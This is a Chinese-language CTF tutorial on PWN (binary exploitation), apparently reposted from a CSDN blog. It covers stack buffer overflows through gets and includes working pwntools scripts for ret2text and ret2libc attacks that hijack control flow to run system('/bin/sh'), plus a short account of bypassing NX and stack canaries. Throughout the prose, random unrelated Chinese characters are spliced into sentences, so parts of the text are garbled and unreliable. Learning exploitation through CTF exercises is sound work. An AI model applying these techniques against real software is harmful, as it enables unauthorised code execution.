PWN的基礎(chǔ)
一、PWN的由來
CTF比賽主要表現(xiàn)以下幾個技能上:逆向工程、密碼 學(xué)试疙、ACM編程柱徙、Web漏洞储耐、二進制溢出晦攒、網(wǎng)絡(luò)和取證等。在國際CTF賽事中,二進制溢出也稱之為PWN剔宪。
PWN是一個黑客語法的俚語詞,自"own"這個字引申出來的留瞳,這個詞的含意在于硬梁,玩家在整個游戲?qū)?zhàn)中處在勝利的優(yōu)勢危号,或是說明競爭對手處在完全慘敗的 情形下兔朦,這個詞習(xí)慣上在網(wǎng)絡(luò)游戲文化主要用于嘲笑競爭對手在整個游戲?qū)?zhàn)中已經(jīng)完全被擊敯谥邸(例如:"You just got pwned!")胡野。有一個非常著名的國際賽事叫做Pwn2Own,相信你現(xiàn)在已經(jīng)能夠理解這個名字的含義了,即通過打敗對手來達到擁有的目的。
CTF中PWN題型通常會直接給定一個已經(jīng)編譯好的二進制程序(Windows下的EXE或者Linux下的ELF文件等),然后參賽選手通過對二進制程 序進行逆向分析和調(diào)試來找到利用漏洞,并編寫利用代碼荚坞,通過遠(yuǎn)程代碼執(zhí)行來達到溢出攻擊的效果瞭空,最終拿到目標(biāo)機器的shell奪取flag溺健。
二、Linux管道
Linux管道可以將一個進程的標(biāo)準(zhǔn)輸出作為另一個進程的標(biāo)準(zhǔn)輸入,管道的操作符號為“|”偷遗,比如ls命令可用于查看當(dāng)前目錄下的文件列表泵喘,而grep命 令可用于匹配特定的字符霹陡,因此ls | grep test命令可用于列出當(dāng)前目錄下文件名包含test的文件。
三、Python基礎(chǔ)
在Linux shell中執(zhí)行python -c "print 'Hello'"可以執(zhí)行雙引號中的Python語句,即通過print打印出Hello字符串。Python中單引號和雙引號沒有區(qū)別锦秒,因為這里使用雙 引號修飾Python語句,因此使用單引號修飾字符串汇歹。
四痰哨、gdb調(diào)試器
gdb是Linux下常用的一款命令行調(diào)試器撬讽,擁有十分強大的調(diào)試功能。本文中需要用到的gdb命令如下:
五靖榕、匯編基礎(chǔ)
讀懂常見的匯編指令是CTF競賽中PWN解題的基本要求:
匯編語言中毒返,esp寄存器用于指示當(dāng)前函數(shù)棧幀的棧頂?shù)奈恢门璩啵瘮?shù)中局部變量都存儲在検缂剩空間中锄贼,棧的生長方向是向下的(即從高地址往低地址方向生長)膘侮。
緩沖區(qū)溢出是指當(dāng)計算機向緩沖區(qū)內(nèi)填充數(shù)據(jù)位數(shù)時超過了緩沖區(qū)本身的容量昧诱,使得溢出的數(shù)據(jù)覆蓋在合法數(shù)據(jù)上蜈亩,理想的情況是程序檢查數(shù)據(jù)長度并不允許輸入超 過緩沖區(qū)長度的字符,但是絕大多數(shù)程序都會假設(shè)數(shù)據(jù)長度總是與所分配的儲存空間相匹配冒萄,這就為緩沖區(qū)溢出埋下隱患施流。
PWN的入門
一银受、學(xué)pwn需要哪些知識呢?
漏洞一般是1、gets函數(shù)這種對輸入沒有限制導(dǎo)致溢出拓提。2蹦疑、格式化字符串漏洞。3、數(shù)據(jù)類型轉(zhuǎn)換的時候產(chǎn)生了溢出咖刃。 總的來說就是對輸入的值限制的不夠讓用戶的輸入影響了執(zhí)行流枫浙。 那么如何利用漏洞呢? 在linux中有一個system函數(shù)system("/bin/bash")這條語句就可以調(diào)出shell轻纪。讓程序執(zhí)行這個函數(shù)就能實現(xiàn)對shell的調(diào)用了_掂僵。
二芹扭、需要注意什么
在溢出是要清楚2個問題:1要尔、哪里有漏洞熬词,也就是我們能把自己的代碼或者字符放到函數(shù)里并影響執(zhí)行寄猩。2泊柬、我們要讓它執(zhí)行什么。
三充活、簡單的pwn
```
nt __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets(&s);
printf("Maybe I will tell you next time !");
return 0;
}
```
這里需要安裝pwntools[這里可以安裝工具](https://blog.csdn.net/gyhgx/article/details/53439417)
```
from pwn import *
payload='A'*112+p32(0x0804863a)
p=process("./ret2text")
p.recvline()
p.sendline(payload)
p.interactive()
```
112臨時變量|addr(s)-ebp|+4 0x0804863a這個地址處是
```
.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
.text:08048641 call _system
```
四合陵、系統(tǒng)保護機制
當(dāng)然系統(tǒng)也是有很多保護機制的
checksec工具可以幫助我們查看程序開啟的保護。
下面是checksec的執(zhí)行結(jié)果
root@kali:~/桌面# checksec ret2text
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[*] '/root/\xe6\xa1\x8c\xe9\x9d\xa2/ret2text'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
現(xiàn)在我接觸的2個一個是NX和stack猜欺。NX保護是站內(nèi)代碼不可執(zhí)行。stack是在棧里面放一個canary值這個值一旦被修改就會觸發(fā)check_failed()函數(shù),打印程序名然后退出嫁赏。
NX保護:
你不能執(zhí)行我就不執(zhí)行攘乒,棧里面的內(nèi)容只負(fù)責(zé)把程序執(zhí)行流引入到一個需要的匯編代碼的位置處沽讹,然后調(diào)用程序自己的一些代碼來實現(xiàn)攻擊叹谁。你可以調(diào)用含有call或者ret代碼這樣就能一直連接下去。這就是大佬說的ROP鏈。
cannary:
函數(shù)在執(zhí)行的時候把一個值放入到棧內(nèi)的某個位置泽谨,我們想要溢出返回地址就要改變這個值搓蚪,返回的時候系統(tǒng)檢查canary值是否改變冯凹,如果改變就調(diào)用check_failed()函數(shù),打印程序名然后退出道逗〈蓑冢基于這個原理我們可以1桨嫁、找到canary的值然后填進去爷辙。2血当、可以覆蓋掉check_\failed()的調(diào)用地址換成system()
如果system和”/bin/bash”沒有放在一起怎么辦
這是ida反編譯結(jié)果钻蔑。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(&s);
return 0;
}
和之前唯一不同的是system和字符串“/bin/bash”分開了
下面是腳本
from pwn import *
elf=ELF('ret2libc1')
payload='A'*112+p32(elf.plt['system'])+'aaaa'+p32(0x8049720)
p=process("./ret2libc1")
p.recvline()
p.sendline(payload)
p.interactive()
關(guān)注一下payload plt是elf加載動態(tài)庫用的 蓄拣,里面是個地址路鹰,存放著一個jmp xxx xxx就是system的地址碑诉》Γ’aaaa’是system的返回地址阀湿,不需要返回了所以這個值沒用,p32(0x8049720)是‘/bin/bash’的地址。需要注意的是上一個例子是只需要傳進去參數(shù)就行三娩,這里進入system的是ret不僅需要我們布置‘/bin/bash’還需要布置返回地址瓦宜。
作者:九層臺
來源:CSDN
原文:https://blog.csdn.net/qq_38204481/article/details/80099622
版權(quán)聲明:本文為博主原創(chuàng)文章侄泽,轉(zhuǎn)載請附上博文鏈接!